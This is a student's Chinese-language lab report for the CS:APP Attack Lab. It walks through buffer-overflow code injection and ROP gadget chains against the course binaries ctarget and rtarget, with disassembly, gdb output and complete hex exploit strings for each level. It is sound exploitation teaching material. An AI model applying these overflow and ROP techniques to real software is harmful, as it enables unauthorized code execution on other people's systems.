

Attack Lab 实验报告

2018013428 谢昱清

实验 1

Part 1 Level 1

➤ 目的：

熟悉操作，了解基本原理。实验要求使 `ctarget` 从 `getbuf` 返回后直接运行 `touch1`。

➤ 原理：

填入的数据在栈中布局如下。填充比 `buffer` 大的数据, 将会改变 `rsp` 的返回地址, 从而使得程序跳转到预期的结果。

原 return address
现 touch1 的地址
0 填充, 0x38 位

➤ 过程:

基本根据助教的 pdf 便可完成。

首先运行 `objdump` 得到汇编码，查看 `touch1` 的入口地址以及 `getbuf` 中开辟的 `buffer` 大小。由下图可知，`touch1` 的地址为 `0x4017d7`，`buffer` 大小为 `0x38`。

```

00000000004017d7 <touch1>:
  4017d7:  48 83 ec 08                sub    $0x8,%rsp
  4017db:  c7 05 37 2d 20 00 01      movl   $0x1,0x202d37(%rip)    # 604
51c <vlevel>
  4017e2:  00 00 00
  4017e5:  bf 15 31 40 00            mov     $0x403115,%edi
  4017ea:  e8 e1 f4 ff ff            callq  400cd0 <puts@plt>
  4017ef:  bf 01 00 00 00            mov     $0x1,%edi
  4017f4:  e8 97 04 00 00            callq  401c90 <validate>
  4017f9:  bf 00 00 00 00            mov     $0x0,%edi
  4017fe:  e8 4d f6 ff ff            callq  400e50 <exit@plt>

00000000004017c1 <getbuf>:
  4017c1:  48 83 ec 38                sub     $0x38,%rsp
  4017c5:  48 89 e7                  mov     %rsp,%rdi
  4017c8:  e8 7e 02 00 00            callq  401a4b <Gets>
  4017cd:  b8 01 00 00 00            mov     $0x1,%eax
  4017d2:  48 83 c4 38                add     $0x38,%rsp
  4017d6:  c3                        retq

```

之后，在 txt 中写入 0x38 位 00，并在末尾增添 touch1 的地址即可。注意地址需要“反向”，写作 d7 17 40 00 00 00 00 00。

运行结果如下所示。

[illegible]

实验 2

Part 1 Level 2

➤ 目的:

ctarget 从 getbuf 返回后直接运行 touch2; 同时, 需要将 cookie 的值放入 %rdi 作为参数传递给 touch2。

➤ 原理:

一共要满足两个条件: 一个是满足规定的跳转, 一个是传递参数。因为可以自己写代码生成机器码, 所以可以根据需要书写代码。

填入的字符在栈中的位置如下。

原 return address
现机器码入口地址
自己写的机器码, 包括 存储 cookie 的值在 rdi 里 将 touch2 的地址放入栈中 return
0 填充, 0x1a 位

运行时, 将从 getbuf 原本的返回地址跳至注入的代码段入口地址, 该段代码将在栈中压入 touch2 的入口地址, 从而使得返回时跳转至 touch2。

➤ 过程:

查看 cookie 的值。

```
Cookie: 0x4c21f182
```

查看 touch2 的地址。

```
000000000000401803 <touch2>:
401803: 48 83 ec 08          sub    $0x8,%rsp
401807: 89 fa              mov    %edi,%edx
401809: c7 05 09 2d 20 00 02 movl   $0x2,0x202d09(%rip)    # 604
51c <vlevel>
```

编写汇编代码, 通过 gcc 与 objdump 生成.d 文件, 打开后查看注入代码的机器码。

```
Disassembly of section .text:

0000000000000000 <.text>:
0: 48 c7 c7 82 f1 21 4c    mov    $0x4c21f182,%rdi
7: 68 03 18 40 00          pushq  $0x401803
c: c3                    retq
```

为了定位注入代码的入口地址, 通过 gdb 设置断点, 查看 buffer 的位置。

```
(gdb) p $rsp
$1 = (void *) 0x55676850
```

断点设置在 getbuf 起点, 标志返回地址的位置。需要推算注入代码的位置。根据指令的长度 (13 位) 可以推算出入口地址应为 0x55676843 (0x55676850 - 13)。将该地址放入 txt 中的最后一行。

```
Cookie: 0x4c21f182
Type string:Touch2!: You called touch2(0x4c21f182)
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:
    user id NoOne
    course 15213-f15
    lab attacklab
    result 2018013428:PASS:0xffffffff:ctarget:2:00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 48 C7 C7 82 F1 21 4C 68 03 18 40 00 C3 43 68 67 55 00 0
0 00 00
```

➤ 困难 & 心得 & 技巧与经验:

该部分难点在于熟悉各类操作，包括编写汇编码后生成机器码、通过 gdb 得到运行时栈的位置等。多运行几次，熟练之后感觉得心应手一些了。

实验 3

Part 1 Level 3

➤ 目的:

使 ctarget 从 getbuf 返回时跳转至 touch3。将 cookie 字符的指针作为参数传给 touch3。

➤ 原理:

栈中存放内容如下。

原 return address，现机器码入口地址
填充 0，0x22 位
注入的代码。包括： 将 cookie 字符串的地址放入 rdi 中； 将 touch3 的入口地址压入栈中； 返回。
Cookie 作为字符串的值

基本思路与实验 2 相似，但是 cookie 从直接传递值变成了传递指针，注入代码段中放在 rdi 中的值有了一些变化。

➤ 过程:

查看 touch3 的入口地址。

```
0000000000401914 <touch3>:
401914: 53                push    %rbx
401915: 48 89 fb          mov     %rdi,%rbx
401918: c7 05 fa 2b 20 00 movl    $0x3,0x202bfa(%rip) # 604
```

根据需求编写汇编码，编译并反汇编后得到机器码。（其实也可以直接用实验 2 中得到的机器码，只需要改变对应的地址即可）

```
Disassembly of section .text:
0000000000000000 <.text>:
0: 48 c7 c7 18 68 67 55 mov     $0x55676818,%rdi
7: ff 34 25 14 19 40 00 pushq   0x401914
e: c3                retq
```

查看 man ascii 得到 cookie 的 hex 码：34 63 32 31 66 31 38 32。注意在末尾补上 00。

将这些内容按顺序放入 txt 中，运行即可。

```
Cookie: 0x4c21f182
Type string:Touch3!: You called touch3("4c21f182")
Valid solution for level 3 with target ctarg
PASS: Would have posted the following:
    user id NoOne
    course 15213-f15
    lab    attacklab
    result 2018013428:PASS:0xffffffff:ctarget:3:34 63 32 31 66 31 38 32 00
48 C7 C7 18 68 67 55 68 14 19 40 00 C3 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 21 68 67 55 00 0
0 00 00
```

➤ 困难 & 心得 & 技巧与经验:

这道题卡了我很久，做完第四题再回来做才成功解出。遇到的问题主要在于：

- 1) 使用 gdb 运行程序时，不能正常注入代码。栈溢出时会直接得到 segmentation fault 的报错，终止运行。本来使用 gdb 想研究一下 hexmatch 是否会影响 buffer 的栈中内容的，但是时间有限，没有来得及解决这个问题，只好把 cookie 和注入代码依次放到 txt 的开头（栈的顶部）。
- 2) 由于做完第四题，运行的命令是 rtarget，忘记更改回 ctarg，于是一直报错。
- 3) 代码需要避开被 hexmatch 影响的部位。一开始代码放在返回地址附近，无法得到正确结果。后来将代码放在 cookie 后面，解决了这个问题。

实验 4

Part 2 Level 2

➤ 目的:

ctarg 从 getbuf 返回后直接运行 touch2；同时，需要将 cookie 的值放入%rdi 作为参数传递给 touch2。每次运行时栈的位置会变化，不能直接使用栈的位置。不能写全新的机器码，需要用 gadgets（代码碎片？）完成指定功能。

➤ 原理:

需要使用给定的代码段中符合需求的片段完成任务。

我们需要使用 popq %xx 的操作读取栈中存放元素的数值。由于本题中无法直接 popq %rdi，因此为了将 cookie 的数值放到 rdi 作为参数传递，还需要用 movq 进行一次移动。

本题中使用的汇编码包括 popq %rax 与 movq %rax,%rdi。

栈中存储的内容如下。

touch2 入口地址
movq %rax, %rdi 对应的代码碎片地址
Cookie 数值
原 return address 地址，现在 popq %rax 对应的代码碎片地址
0 填充，0x38 位

程序从 getbuf 返回时，将先跳转到 popq %rax 对应的代码碎片地址，执行 popq %rax 操作，即将 cookie 数值放入 rax 中，返回。返回后将跳转到 movq %rax,%rdi 对应的代码碎片地址，将 rax（即 cookie 的数值）放入 rdi 中。之后，跳转到 touch2 的入口地址，执行 touch2。

➤ 过程:

查看 rtarget 的汇编码, 对比 attacklab.pdf 中的说明, 寻找可用的代码组分。

popq %rax + retq。

```
00000000004019d8 <setval_312>:
4019d8: c7 07 42 58 90 90      movl    $0x90905842, (%rdi)
4019de: c3                     retq
```

movq %rax, %rdi + retq。

```
00000000004019df <setval_475>:
4019df: c7 07 48 89 c7 c3      movl    $0xc3c78948, (%rdi)
4019e5: c3                     retq
```

查看 touch2 的地址。

```
0000000000401803 <touch2>:
401803: 48 83 ec 08           sub     $0x8,%rsp
401807: 89 fa                 mov     %edi,%edx
401809: c7 05 09 3d 20 00 02  movl    $0x2,0x203d09(%rip) # 605
```

将上述内容依次放入 txt 即可。

```
Cookie: 0x4c21f182
Type string:Touch2!: You called touch2(0x4c21f182)
Valid solution for level 2 with target rtarget
PASS: Would have posted the following:
    user id NoOne
    course 15213-f15
    lab    attacklab
    result 2018013428:PASS:0xffffffff:rtarget:2:00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 DB 19 40 00 00
00 00 00 82 F1 21 4C 00 00 00 00 E1 19 40 00 00 00 00 03 18 40 00 00 00 00 00
```

➤ 困难 & 心得 & 技巧与经验:

我将可以使用的代码单独复制出来了。其实在 ubuntu 的 vim 里直接查找 (/要查找的内容) 十分简便, 用起来也不错。先搜索 movq, 可以搜到四处匹配, 划定 popq 能使用的寄存器的范围, 比较方便。

实验 5

Part 2 Level 3

➤ 目的:

使 ctargt 从 getbuf 返回时跳转至 touch3。将 cookie 字符串的指针作为参数传给 touch3。每次运行时栈的位置会变化, 不能直接使用栈的位置。不能写全新的机器码, 需要用 gadgets (代码碎片?) 完成指定功能。

➤ 原理:

由于需要记录栈中内容的位置, 又不能直接固定栈中元素的位置, 因此我们需要使用到如 movq %rsp, %xx 得到栈的位置, 或者通过 popq %xx 的操作, 读取栈中元素的数值。

为了得到 cookie 字符串的位置, 我们需要栈的位置以及字符串相对于栈的位置。为了得到前者, 筛选与 rsp 有关的可用代码片段, 可知能将地址放入 rax 中, 进而 mov 至 rdi 中。后者则可以通过 popq 移动至 rax 中, 进而一步步移动到 esi 中。此时, 调用 lea, 即可将栈顶位置与字符串相对栈的偏差相加, 得到字符串的指针位置。将该数据移动至 rdi, 调用 touch3, 即可将 cookie 字符串的指针作为参数传递给 touch3。

栈中存储的内容如下。

Cookie 字符串
touch3 的入口地址
movq %rax,%rdi
lea (%rdi,%rsi,1),%rax
movl %ecx,%esi
movl %edx,%ecx
movl %eax,%edx
偏差的大小数值
popq %rax
movq %rax,%rdi
原 return address 地址，现在 movq %rsp,%rax
0 填充，0x38 位

得到栈中存储内容后，可知蓝色的部分为保存的 `rsp` 位置与字符串存储的位置的差，计算得知应为 `0x48`。

➤ 过程：

查找 `touch3` 的地址。

```
0000000000401914 <touch3>:
401914: 53                                push  %rbx
401915: 48 89 fb                         mov   %rdi,%rbx
```

查找可以使用的代码片段并记录，如 `movl %eax, %edx`。

```
0000000000401a5c <getval_290>:
401a5c: b8 89 c2 90 c3                  mov   $0xc390c289,%eax
401a61: c3                              retq
```

```
0000000000401a0c <addval_470>:
401a0c: 8d 87 89 c2 90 c3              lea   -0x3c6f3d77(%rdi),%eax
401a12: c3                              retq
```

从可以使用的汇编码中挑选需要的片段。

将这些内容按原理图中的顺序组合在一起，放到 `txt` 中运行。

```
Cookie: 0x4c21f182
Type string:Touch3!: You called touch3("4c21f182")
Valid solution for level 3 with target rtarget
PASS: Would have posted the following:
    user id NoOne
    course 15213-f15
    lab    attacklab
    result 2018013428:PASS:0xffffffff:rtarget:3:00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 65 1A 40 00 00 0
0 00 00 C0 19 40 00 00 00 00 00 DB 19 40 00 00 00 00 00 48 00 00 00 00 00 00 00
5D 1A 40 00 00 00 00 00 4A 1A 40 00 00 00 00 00 FA 19 40 00 00 00 00 00 EC 19
40 00 00 00 00 00 E1 19 40 00 00 00 00 00 14 19 40 00 00 00 00 00 34 63 32 31 6
6 31 38 32 00
```

➤ 困难 & 心得 & 技巧与经验：

这道题虽然想通了之后觉得容易理解，但是一开始上手晕得不行，毫无头绪。需要有耐心，一点点从可选用的代码里抽取备选选项。

需要区分 `popq xx` 和 `movq %rsp,xx` 的意义。

计算偏移量需要仔细，很容易看晕了算错。（实在不行多试两遍，总有对的时候）

题目给的 `add_xy` 是一个重要的提示，暗示可以将地址拆开运算。

`gadget` 地址也比较容易算错，将需要的代码挑出后，可以根据需要的机器码重新查找对应的地址。